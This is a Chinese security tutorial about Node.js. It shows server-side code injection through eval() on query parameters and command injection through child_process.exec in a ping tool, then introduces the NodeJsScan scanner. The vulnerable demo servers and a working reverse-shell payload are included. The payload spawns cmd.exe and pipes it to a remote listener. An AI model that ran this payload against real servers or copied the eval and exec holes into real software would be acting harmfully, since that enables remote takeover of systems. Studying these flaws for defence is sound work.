本文來源於i春秋學院,未經許可嚴禁轉載。
0x01 介紹
簡單的說 Node.js 就是運行在服務端的 JavaScript。Node.js 是一個基於Chrome JavaScript 運行時建立的一個平台。Node.js是一個事件驅動I/O服務端JavaScript環境,基於Google的V8引擎,V8引擎執行Javascript的速度非常快,性能非常好。Node.js使用Module模塊去划分不同的功能,以簡化應用的開發。Modules模塊有點像C++語言中的類庫。每一個Node.js的類庫都包含了十分豐富的各類函數,比如http模塊就包含了和http功能相關的很多函數,可以幫助開發者很容易地對比如http,tcp/udp等進行操作,還可以很容易的創建http和tcp/udp的服務器。
0x02 Node.js安裝配置
這里我主要給大家演示在Windows Sever 2008 R2 x64系統上安裝Node.js的方法。
官網:https://nodejs.org/en/download/ 下載軟件。
下載完成后運行,然后一直Next就好了。
最后點擊Finish。
檢查環境變量:
我們可以看到環境變量中已經包含了
C:\Program Files\nodejs\
牛刀小試:創建第一個Node.js應用
我們使用PHP來開發web服務時,需要Apache這樣的Web容器。不過對Node.js 來說,概念完全不一樣了。使用 Node.js 時,我們不僅僅在實現一個應用,同時還實現了整個 HTTP 服務器。事實上,我們的 Web 應用以及對應的 Web 服務器基本上是一樣的。
我們以創建一個輸出hello world的Node.js應用為例子。
在Node.js中,我們以require指令來載入模塊,既然我們要創建HTTP服務器,所以我們要來載入模塊HTTP:
var http = require("http"); 然后我們使用http模塊的createServer()方法來創建服務器: var http = require('http'); http.createServer(function (request, response) { // 發送 HTTP 頭部 // HTTP 狀態值: 200 : OK // 內容類型: text/plain response.writeHead(200, {'Content-Type': 'text/plain'}); // 發送響應數據 "Hello World" response.end('Hello World\n'); }).listen(80); // 終端打印如下信息 console.log('Server running at [url]http://127.0.0.1/'[/url]);
命令運行腳本:
然后我們在另一台機器上訪問看看,注意關閉防火牆:
0x02 服務端代碼注入
Node.js的代碼注入與PHP代碼注入差不多,同樣是圍繞着eval函數,所以,如果在你的代碼中存在eval函數,而且其中的參數是可控的話,那你就危險了。代碼注入漏洞的危害很大,可以直接獲得一個Shell。
demo代碼:
var http = require('http'); var url = require('url'); var util = require('util'); http.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/html'}) var params = url.parse(req.url, true).query; res.write("<html><head><meta charset='utf-8' /><title>Test</title></head><body>"); var a = params.a; var b = params.b; var s =a + b; res.write("結果:" + a + "+" + b +"=" + s); res.write("</body></html>"); res.end(); }).listen(80); // 終端打印如下信息 console.log('Server running at [url]http://127.0.0.1/'[/url]);
這個代碼就是計算輸入的兩個數之和,但是兩個變量的類型都是字符串,所以相加的結果是字符串連接:
這里就想着用eval函數轉換輸入的參數類型。
最終demo代碼:
var http = require('http'); var url = require('url'); var util = require('util'); http.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/html'}) var params = url.parse(req.url, true).query; res.write("<html><head><meta charset='utf-8' /><title>Test</title></head><body>"); var a = eval(params.a); var b = eval(params.b); var s =a + b; res.write("結果:" + a + "+" + b +"=" + s); res.write("</body></html>"); res.end(); }).listen(80); // 終端打印如下信息 console.log('Server running at [url]http://127.0.0.1/'[/url]);
然后得到的結果就是兩數之和了:
但是因為使用了eval函數也就導致了代碼注入,我們可以構建一個反彈shell執行。
反彈shell代碼:
function tan(){
var net = require("net"), cp = require("child_process"), cmd = cp.spawn("cmd.exe", []); var client = new net.Socket(); client.connect(3434, "192.168.146.129", function(){ client.pipe(cmd.stdin); cmd.stdout.pipe(client); cmd.stderr.pipe(client); }); return 1; }tan();
我們先使用nc來監聽本地端口3434:
然后在web端利用漏洞進行代碼注入:
然后成功反彈shell:
0x03 系統命令執行
在Node.js中,系統命令執行漏洞一般由模塊 child_process 的函數引起的,child_process即子進程可以創建一個系統子進程並執行shell命令。
demo-創建一個ping工具:
var http = require('http'); var url = require('url'); var util = require('util'); var child_process = require('child_process'); var iconv = require('iconv-lite'); var encoding = 'cp936'; var binaryEncoding = 'binary'; http.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/html'}) var params = url.parse(req.url, true).query; res.write("<html><head><meta charset='utf-8' /><title>Test</title></head><body>"); child_process.exec('ping '+params.ip, { encoding: binaryEncoding }, function(err, stdout, stderr){ res.write(iconv.decode(new Buffer(stdout, binaryEncoding), encoding), iconv.decode(new Buffer(stderr, binaryEncoding), encoding)); }); res.write("</body></html>"); }).listen(80); // 終端打印如下信息 console.log('Server running at [url]http://127.0.0.1/'[/url]);
演示:
命令注入:
0x04 NodeJsScan
NodeJsScan是 Ajin Abraham 開發的一款靜態代碼分析工具。它使用了大量的正則表達式規則來掃描可能的漏洞代碼和不安全的配置,同時允許用戶擴展自己的功能。
項目地址:https://github.com/ajinabraham/NodeJsScan
此工具是基於python開發的,首先我們需要安裝一下所需模塊
pip install -r requirements.txt
所需模塊都在工具主目錄下的requirements.txt中:
注意本工具需要postgresql數據庫,所以我們還需要下載安裝postgresql數據庫。
創建數據庫:
python createdb.py
數據庫設置在core/settings.py文件中
運行
python app.py
然后在http://0.0.0.0:9090打開,注意要設置DEBUG = True
0x05 總結
大部分的漏洞都是源於不安全的用戶輸入。所以,要堅持一切用戶輸入都是有害的法則,針對用戶的一切輸入進行過濾。確保使用了合適的中間件來避免不可信的流程。